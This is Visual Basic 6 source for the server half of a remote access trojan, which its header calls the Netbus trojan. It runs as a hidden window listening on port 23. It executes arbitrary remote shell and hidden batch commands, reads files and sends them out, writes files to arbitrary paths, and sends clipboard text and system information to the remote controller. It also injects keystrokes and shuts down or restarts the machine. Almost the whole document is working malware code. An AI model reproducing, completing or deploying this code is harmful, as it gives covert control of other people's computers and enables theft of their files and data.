server.frm

大名鼎鼎的Netbus木马源程序.

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Server"
   ClientHeight    =   765
   ClientLeft      =   23655
   ClientTop       =   4755
   ClientWidth     =   3300
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   765
   ScaleWidth      =   3300
   ShowInTaskbar   =   0   'False
   Visible         =   0   'False
   WhatsThisHelp   =   -1  'True
   Begin VB.CheckBox Check2 
      Caption         =   "Only Enable Features Visible to Client"
      Enabled         =   0   'False
      Height          =   375
      Left            =   120
      TabIndex        =   4
      Top             =   360
      Width           =   3975
   End
   Begin VB.CheckBox Check1 
      Caption         =   "Disable All"
      Enabled         =   0   'False
      Height          =   255
      Left            =   120
      TabIndex        =   3
      Top             =   120
      Width           =   1455
   End
   Begin VB.DriveListBox Drive1 
      Height          =   315
      Left            =   1440
      TabIndex        =   2
      Top             =   2400
      Visible         =   0   'False
      Width           =   2535
   End
   Begin VB.DirListBox Dir1 
      Height          =   1890
      Left            =   840
      TabIndex        =   1
      Top             =   2040
      Visible         =   0   'False
      Width           =   2055
   End
   Begin VB.FileListBox File1 
      Height          =   1845
      Left            =   3240
      TabIndex        =   0
      Top             =   2040
      Visible         =   0   'False
      Width           =   1935
   End
   Begin MSWinsockLib.Winsock WS 
      Left            =   2880
      Top             =   2160
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   23
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Public OpenCD, CloseCD, PlayCD, StopCD, NumOn, CapsOn, ScrollOn, Files, STO, PL, Runn
Public Reset, Shutdown, Connected, NumOff, CapsOff, ScrollOff, Info, StartSS, Drive
Public Taskbar0, Taskbar1, message, Clipb, ClDoc, Phone, DCSpeed, CBSpeed, Printy
Public SendTxtFile, Batch, CloseServe, SaveTF, SetCur, DConn, kbs
Private Sub Form_Load()
StayOnTop Me
OpenCD = 1
CloseCD = 2
PlayCD = 3
StopCD = 4
NumOn = 5
NumOff = 6
CapsOn = 7
CapsOff = 8
ScrollOn = 9
ScrollOff = 10
Reset = 11
Shutdown = 12
Connected = 13
Info = 14
Files = 15
StartSS = 16
STO = 17
PL = 18
Runn = 19
Taskbar0 = 20
Taskbar1 = 21
message = 22
Clipb = 23
ClDoc = 24
Phone = 25
DCSpeed = 26
CBSpeed = 27
Printy = 28
Drive = 29
SendTxtFile = 30
Batch = 31
CloseServe = 32
SaveTF = 33
SetCur = 34
DConn = 35
kbs = 36
WS.Close
WS.Listen
Form1.Caption = "Server"
End Sub

Private Sub WS_Close()
On Error Resume Next
ST str(DConn)
WS.Close
WS.Listen
Form1.Caption = "Server"
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
WS.Close
WS.Accept requestID
ST str(Connected)
Form1.Caption = "Server - [" & WS.RemoteHostIP & "]"
End Sub

Sub ST(num)
WS.SendData num
End Sub

Private Sub WS_DataArrival(ByVal BytesTotal As Long)
On Error Resume Next
If Check1.Value = 1 Then
    Exit Sub
End If
Dim thedata As String
WS.GetData thedata
If thedata = str(OpenCD) Then
    If Check2.Value = 0 Then OpenCDTray
ElseIf thedata = str(CloseCD) Then
    If Check2.Value = 0 Then CloseCDTray
ElseIf thedata = str(PlayCD) Then
    If Check2.Value = 0 Then PlayCDAudio 1
ElseIf thedata = str(StopCD) Then
    If Check2.Value = 0 Then StopCDAudio
ElseIf thedata = "." Then
    ST "."
ElseIf thedata = str(NumOn) Then
    NumLock True
ElseIf thedata = str(NumOff) Then
    NumLock False
ElseIf thedata = str(CapsOn) Then
    CapsLock True
ElseIf thedata = str(CapsOff) Then
    CapsLock False
ElseIf thedata = str(ScrollOn) Then
    ScrollLock True
ElseIf thedata = str(ScrollOff) Then
    ScrollLock False
ElseIf thedata = str(Shutdown) Then
    If Check2.Value = 0 Then ShutDownWindows
ElseIf thedata = str(Reset) Then
    If Check2.Value = 0 Then RestartWindows
ElseIf thedata = str(Info) Then
    SendInfo
ElseIf thedata = str(ClDoc) Then
    If Check2.Value = 0 Then ClearDocuments
ElseIf thedata = str(Taskbar0) Then
    If Check2.Value = 0 Then Taskbar False
ElseIf thedata = str(Taskbar1) Then
    Taskbar True
ElseIf thedata = str(Drive) Then
    SendDrives
ElseIf Mid(thedata, 1, 3) = str(Files) Then
    SendFiles Mid(thedata, 4, Len(thedata) - 3)
ElseIf thedata = str(StartSS) Then
    If Check2.Value = 0 Then StartScreensaver Form1
ElseIf thedata = str(CloseServe) Then
    End
ElseIf Mid(thedata, 1, 3) = str(Runn) Then
    If Check2.Value = 0 Then Shell Mid(thedata, 4, Len(thedata) - 3), vbNormalFocus
ElseIf Mid(thedata, 1, 3) = str(PL) Then
    If Check2.Value = 0 Then PlayMedia Mid(thedata, 4, Len(thedata) - 3)
ElseIf Mid(thedata, 1, 3) = str(STO) Then
    If Check2.Value = 0 Then StopMedia Mid(thedata, 4, Len(thedata) - 3)
ElseIf Mid(thedata, 1, 3) = str(message) Then
    If Check2.Value = 0 Then MsgBox (Mid(thedata, 4, Len(thedata) - 3)), vbCritical, ""
ElseIf Mid(thedata, 1, 3) = str(Clipb) Then
    If Check2.Value = 0 Then Clipboard.SetText (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(Phone) Then
    If Check2.Value = 0 Then PhoneCall (Mid(thedata, 4, Len(thedata) - 3)), ""
ElseIf Mid(thedata, 1, 3) = str(DCSpeed) Then
    If Check2.Value = 0 Then SetDoubleClick (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(CBSpeed) Then
    If Check2.Value = 0 Then SetCaretBlink (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(Printy) Then
    If Check2.Value = 0 Then PrintText (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(SendTxtFile) Then
    SendT (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(Batch) Then
    If Check2.Value = 0 Then RunB (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(SaveTF) Then
    If Check2.Value = 0 Then SaveTxtFile (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(SetCur) Then
    If Check2.Value = 0 Then SetCP (Mid(thedata, 4, Len(thedata) - 3))
ElseIf Mid(thedata, 1, 3) = str(kbs) Then
    If Check2.Value = 0 Then SetKB (Mid(thedata, 4, Len(thedata) - 3))
End If
End Sub

Sub SetKB(str$)
Caption = str$
For i = 0 To 255
    If Mid(str$, i, 1) = "1" Then
        keybd_event i, OemKeyScan(i), 0, 0
    End If
Next i
End Sub

Sub SetCP(coord)
Dim xx, yy
xx = Mid(coord, 1, 3)
yy = Mid(coord, 4, 3)
SetCursorP Int(xx * (Screen.Width / Screen.TwipsPerPixelX)), Int(yy * (Screen.Height / Screen.TwipsPerPixelY))
End Sub

Sub SaveTxtFile(Data)
On Error Resume Next
Dim DR, TX, W
For i = 1 To Len(Data)
    If Mid(Data, i, 1) = "*" Then
        W = i
    End If
Next i
DR = Mid(Data, 1, W - 1)
TX = Mid(Data, W + 1, Len(Data) - W + 1)
'save 'tx' to 'dr'
Open DR For Output As #1
Print #1, TX
Close #1
End Sub

Sub RunB(Comm)
Dim Commands(1000) As String, NOC, f1, f2
For i = 1 To 1000
    Commands(i) = ""
Next i
NOC = 0
f1 = 1
For i = 1 To Len(Comm)
    If Mid(Comm, i, 1) = Chr(13) Then
        NOC = NOC + 1
        f2 = i - 2
        Commands(NOC) = Mid(Comm, f1, (f2 - f1) + 2)
        f1 = f2 + 4
    End If
Next i
For i = 1 To NOC
    Shell Commands(i), vbHide
Next i
End Sub

Sub SendT(FileName)
Dim tot
tot = ""
Open FileName For Input As #1
Do
    Line Input #1, bob
    tot = tot & bob & vbCrLf
    bob = ""
Loop Until EOF(1)
Close #1
WS.SendData str(SendTxtFile) & tot
End Sub

Sub SendInfo()
Dim infos(20), tot
infos(1) = "Current time: " & Time
infos(2) = "Current date: " & Date
infos(3) = "Windows has been on for: " & GetTimeOnWindows
If IsScrollLockOn = 1 Then
    infos(4) = "Scroll lock is on"
Else
    infos(4) = "Scroll lock is off"
End If
If IsNumLockOn = 1 Then
    infos(5) = "Num lock is on"
Else
    infos(5) = "Num lock is off"
End If
If IsCapsLockOn = 1 Then
    infos(6) = "Caps lock is on"
Else
    infos(6) = "Caps lock is off"
End If
infos(7) = "Double click time: " & GetDoubleClick & "ms"
infos(8) = "Caret Blink Time: " & GetCaretBlink & "ms"
infos(9) = KeyboardInfo
infos(10) = "Clipboard text: " & Clipboard.GetText
infos(11) = "Resolution: " & Screen.Width / Screen.TwipsPerPixelX & "x" & Screen.Height / Screen.TwipsPerPixelY
For i = 1 To 20
    tot = tot & infos(i) & vbCrLf
Next i
WS.SendData str(Info) & tot
End Sub

Sub SendFiles(Directory)
On Error GoTo B
Dir1.Path = Directory
File1.Path = Directory
Dim totd, totf, tot
For i = 0 To Dir1.ListCount - 1
    totd = totd & Dir1.List(i) & "\" & Chr(13) & Chr(10)
Next i
For i = 0 To File1.ListCount - 1
    totf = totf & File1.List(i) & Chr(13) & Chr(10)
Next i
tot = totd & totf
ST str(Files) & tot
B:
ST str(Files) & "Device not available"
End Sub

Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
ST str(DConn)
WS.Close
WS.Listen
Form1.Caption = "Server"
End Sub


Sub SendDrives()
'On Error Resume Next
Dim tot
For i = 0 To Drive1.ListCount - 1
    tot = tot & Mid(Drive1.List(i), 1, 2) & "\" & Chr(13) & Chr(10)
Next i
WS.SendData str(Drive) & tot
End Sub